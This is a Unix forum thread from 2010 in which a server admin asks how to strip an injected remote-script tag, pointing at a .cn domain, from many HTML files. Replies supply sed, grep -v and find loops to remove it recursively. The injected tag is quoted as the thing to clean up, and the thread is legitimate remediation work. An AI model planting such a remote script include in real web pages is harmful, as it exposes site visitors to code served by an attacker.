Help Needed with grep & sed


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting Help Needed with grep & sed
# 1  
Old 07-13-2010
Help Needed with grep & sed

On one of my servers, it appears that a bunch of html files got the following code added to it...


Quote:
<script src='http://b.rtbn2.cn/E/J.JS'></script></body></HTML>
I was going to try to remove this line using grep & sed... as sample
grep -lr -e 'apples' *.html | xargs sed -i 's/apples/oranges/g'

I can get the grep portion to work...
Code:
grep "<script src='http:\/\/b.rtbn2.cn\/E\/J.JS'[>][<]\/script[>]" *

But not the sed part ...

Any help would be appreciated...

DJ
# 2  
Old 07-13-2010
Hi,

try:

Code:
grep "<script src=[\']http:\/\/b.rtbn2.cn\/E\/J\.JS[\'][>][<]\/script[>]" file

HTH Chris
# 3  
Old 07-13-2010
I presume you are not trying to delete a line, but just that segment. You could try:
Code:
sed "s|<script src='http://b.rtbn2.cn/E/J.JS'></script>||g" infile

If you have GNU sed at your disposal, you could run:
Code:
sed -i "s|<script src='http://b.rtbn2.cn/E/J.JS'></script>||g" *.html

To do an inline replacement of those segments in all files at ones
Code:
sed -i.bck "s|<script src='http://b.rtbn2.cn/E/J.JS'></script>||g" *.html

would create a backup copy (.bck) of the original
This User Gave Thanks to Scrutinizer For This Post:
# 4  
Old 07-13-2010
The grep part works great - but I can't seem to feed it to the sed command...

Dj
# 5  
Old 07-13-2010
Do it all with grep:

Code:
for file in *;do grep -v "<script src='http://b.rtbn2.cn/E/J.JS'></script></body></HTML>" $file > $$;mv $$ $file;done

# 6  
Old 07-13-2010
Scrutinizer:

Worked Great - many thanks...

Can I make this recursive for every folder under www
# 7  
Old 07-13-2010
From the directory above www:
Code:
find www -type f|while read file;do grep -v "<script src='http://b.rtbn2.cn/E/J.JS'></script></body></HTML>" $file > $$;mv $$ $file;done

...basically the same but using find to do the recursion down.
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

Grep & sed - Output

Hi All, Facing an issue with grep & sed I have logs as below: gsc_1_20121121.log:2012-11-21 10:09:13,143 INFO - fmsspace.1 ProcessNewOrderSingleRequest: Result - ProcessNewOrderSingleBatchResultDTO - success:true,newOrderSingleBatchResults:ProcessNewOrderSingleResultDTO -... (13 Replies)
Discussion started by: irfanmemon
13 Replies

2. Shell Programming and Scripting

help understanding regex with grep & sed

I have the following line of code that works wonders. I just don't completely understand it as I am just starting to learn regex. Can you help me understand exactly what is happening here? find . -type f | grep -v '^\.$' | sed 's!\.\/!!' (4 Replies)
Discussion started by: trogdortheburni
4 Replies

3. Shell Programming and Scripting

applescript & grep - sed command

I'm new using Unix commands in applescript. The following script you choose different folders with PDfs, get file count of PDfs on chosen folders, & write the results in text file. set target_folder to choose folder with prompt "Choose target folders containing only PDFs to count files" with... (0 Replies)
Discussion started by: nellbern
0 Replies

4. Shell Programming and Scripting

Using Grep & find & while read line in a script

Hello people! I would like to create one script following this stage I have one directory with 100 files File001 File002 ... File100 (This is the format of content of the 100 files) 2012/03/10 12:56:50:221875936 1292800448912 12345 0x00 0x04 0 then I have one... (0 Replies)
Discussion started by: Abv_mx81
0 Replies

5. Shell Programming and Scripting

Help needed in Curl & Wget

We are trying to invoke a https service from our unix script using curl command. The service is not getting invoked because it is SSL configured. Bypassing certification (using curl –k) does not work. curl -k https://site curl -k -x IP:Port https://site curl -k -x IP:443 https://id:pwd@site ... (0 Replies)
Discussion started by: dineshbabu01
0 Replies

6. UNIX for Dummies Questions & Answers

Grep char count & pipe to sed command

Hi I am having a 'grep' headache Here is the contents of my file: (PBZ,CP,(((ME,PBZ,BtM),ON),((ME,((PBZ,DG),(CW9,PG11))),CW9,TS2,RT1))) I would like to count out how many times 'PBZ' occurs and then place that number in the line above 3... (8 Replies)
Discussion started by: cavanac2
8 Replies

7. UNIX for Dummies Questions & Answers

Difference between grep, egrep & grep -i

Hi All, Please i need to know the difference between grep, egrep & grep -i when used to serach through a file. My platform is SunOS 5.9 & i'm using the korn shell. Regards, - divroro12 - (2 Replies)
Discussion started by: divroro12
2 Replies

8. Shell Programming and Scripting

sed & areas respectively sed & pyramiding

Hello everyone, i wonder if someone could give me an advice regarding the following problem using sed. Given ist a structure as shown below: <aaa>text1<b>text2</b>text3<c>text4</c>text5</aaa> Now I want to change the outer tag from "aaa" to "new" and replace all tags inside the outer tags... (4 Replies)
Discussion started by: Donaldinho
4 Replies

9. Shell Programming and Scripting

Help needed - Replacing all date & time occurrences in a file with a string using Sed

Hi, I am new to using Sed. I have a file containg lines like the following: INFORM----Test.pc:168:10/11/05 12:34:26 > some text goes here.. TRACE-----Test.pc:197:10/11/05 12:34:26 > some text goes here.. My requirement is to replace 10/11/05 12:34:26 with a string <RUNDATE> (including <... (4 Replies)
Discussion started by: Hema_M
4 Replies

10. Shell Programming and Scripting

grep & sed question

I'm trying to write a bash script to perform a tedious task, but I have no experience and hardly any knowledge so I've been having a rough time with it. I'm on Mac OS X, and I want a script to do the following: I have a directory that has about 200 sudirectories. In each of these directories,... (1 Reply)
Discussion started by: der Kopf
1 Replies
Login or Register to Ask a Question